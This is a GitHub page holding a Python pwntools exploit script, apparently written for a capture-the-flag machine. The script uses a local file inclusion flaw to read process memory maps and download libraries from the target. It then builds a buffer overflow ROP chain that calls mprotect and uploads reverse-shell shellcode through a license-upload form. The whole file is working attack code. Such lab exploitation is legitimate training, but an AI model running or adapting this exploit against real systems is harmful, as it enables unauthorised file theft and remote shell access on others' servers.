-
Notifications
You must be signed in to change notification settings - Fork 5
Expand file tree
/
Copy pathexploit.py
More file actions
165 lines (133 loc) · 5.18 KB
/
Copy pathexploit.py
File metadata and controls
165 lines (133 loc) · 5.18 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# This exploit template was generated via:
# $ pwn template activate_license
from pwn import *
import os
import re
import sys
import socket
import requests
# Set up pwntools for the correct architecture
exe = context.binary = ELF("activate_license")
# Many built-in settings can be controlled on the command-line and show up
# in "args". For example, to dump all data sent/received, and disable ASLR
# for all created processes...
# ./exploit.py DEBUG NOASLR
def start(argv=[], *a, **kw):
"""Start the exploit against the target."""
if args.GDB:
return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
else:
return process([exe.path] + argv, *a, **kw)
# Specify your GDB script here for debugging
# GDB will be launched if the exploit is run via e.g.
# ./exploit.py GDB
gdbscript = """
tbreak main
continue
""".format(
**locals()
)
# ===========================================================
# EXPLOIT GOES HERE
# ===========================================================
# Arch: amd64-64-little
# RELRO: Full RELRO
# Stack: No canary found
# NX: NX enabled
# PIE: PIE enabled
TEMP_PATH = "/home/kali/Downloads/"
def get_file(path):
"""Download the file at `path` to `TEMP_PATH`"""
r = requests.get(
f"http://10.10.11.154/index.php?page={path}", allow_redirects=False
)
file_path = f"{TEMP_PATH}{os.path.basename(path)}"
with open(file_path, "wb") as f:
f.write(r.content)
return file_path
def get_pid():
"""Get the PID of the process from `/proc/sched_debug`"""
r = requests.get(
f"http://10.10.11.154/index.php?page=/proc/sched_debug", allow_redirects=False
)
pid = re.search("activate_licens\s+([0-9]+)", r.text).group(1)
log.success(f"activate_license running as PID {pid}")
return pid
def get_addresses(pid):
"""Get library base addresses and paths from `/proc/PID/maps`"""
r = requests.get(
f"http://10.10.11.154/index.php?page=/proc/{pid}/maps", allow_redirects=False
)
libc_line = re.search("^.*libc.*$", r.text, re.M).group(0)
libc_base = int(libc_line.split("-")[0], 16)
libc_path = libc_line.split(" ")[-1]
libsqlite_line = re.search("^.*libsqlite.*$", r.text, re.M).group(0)
libsqlite_base = int(libsqlite_line.split("-")[0], 16)
libsqlite_path = libsqlite_line.split(" ")[-1]
stack_line = re.search("^.*\[stack\].*$", r.text, re.M).group(0).split("-")
stack_base = int(stack_line[0], 16)
stack_end = int(stack_line[1].split()[0], 16)
return libc_base, libc_path, libsqlite_base, libsqlite_path, stack_base, stack_end
def main():
# Generate shellcode with msfvenom -p linux/x64/shell_reverse_tcp LHOST=<ip> LPORT=<port> -f py
buf = b""
buf += b"\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05\x48"
buf += b"\x97\x48\xb9\x02\x00\xd8\x9f\x0a\x0a\x0e\x74\x51\x48"
buf += b"\x89\xe6\x6a\x10\x5a\x6a\x2a\x58\x0f\x05\x6a\x03\x5e"
buf += b"\x48\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x6a\x3b\x58"
buf += b"\x99\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x00\x53\x48"
buf += b"\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05"
shellcode = buf
pid = get_pid()
if not pid:
log.error(f"[-] Could not find PID for activate_license")
sys.exit(1)
# Get addresses from /proc/PID/maps
(
libc_base,
libc_path,
libsqlite_base,
libsqlite_path,
stack_base,
stack_end,
) = get_addresses(pid)
stack_size = stack_end - stack_base
# context.clear(arch="amd64")
log.info("Downloading libc and libsqlite...")
libc = ELF(get_file(libc_path), checksec=False)
libsql = ELF(get_file(libsqlite_path), checksec=False)
libc.address = libc_base
libsql.address = libsqlite_base
# Create ROP object with libc and libsqlite
rop = ROP([libc, libsql])
# Offset that we found manually with GDB-PEDA
offset = 520
# Find the address of the function that we want to call
log.info("Finding gadgets...")
mprotect = libc.symbols["mprotect"] # readelf -s libc.so.6 | grep mprotect
# Find gadgets in libc and libsql so we can pass arguments to mprotect.
pop_rdi = rop.rdi[0]
pop_rsi = rop.rsi[0]
pop_rdx = rop.rdx[0]
jmp_rsp = rop.jmp_rsp[0]
# Create `offset` bytes of padding
payload = b"Z" * offset
# Syntax for mprotect: `int mprotect(void *addr, size_t len, int prot);`
payload += p64(pop_rdi) + p64(stack_base) # addr = start of stack
payload += p64(pop_rsi) + p64(stack_size) # len = size of stack
payload += p64(pop_rdx) + p64(7) # prot = 7 (RWE)
payload += p64(mprotect) # call mprotect
# JMP RSP: JMP <address> executes code at <address>, so JMP RSP executes code at RSP.
# RSP points to shellcode at time of JMP RSP instruction, so JMP executes shellcode.
payload += p64(jmp_rsp)
payload += shellcode # reverse shell
# Submit upload form found in `beta.html`
log.info("Uploading payload...")
requests.post(
f"http://10.10.11.154/activate_license.php", files={"licensefile": payload}
)
log.success("Payload uploaded! Check for a shell!")
if __name__ == "__main__":
main()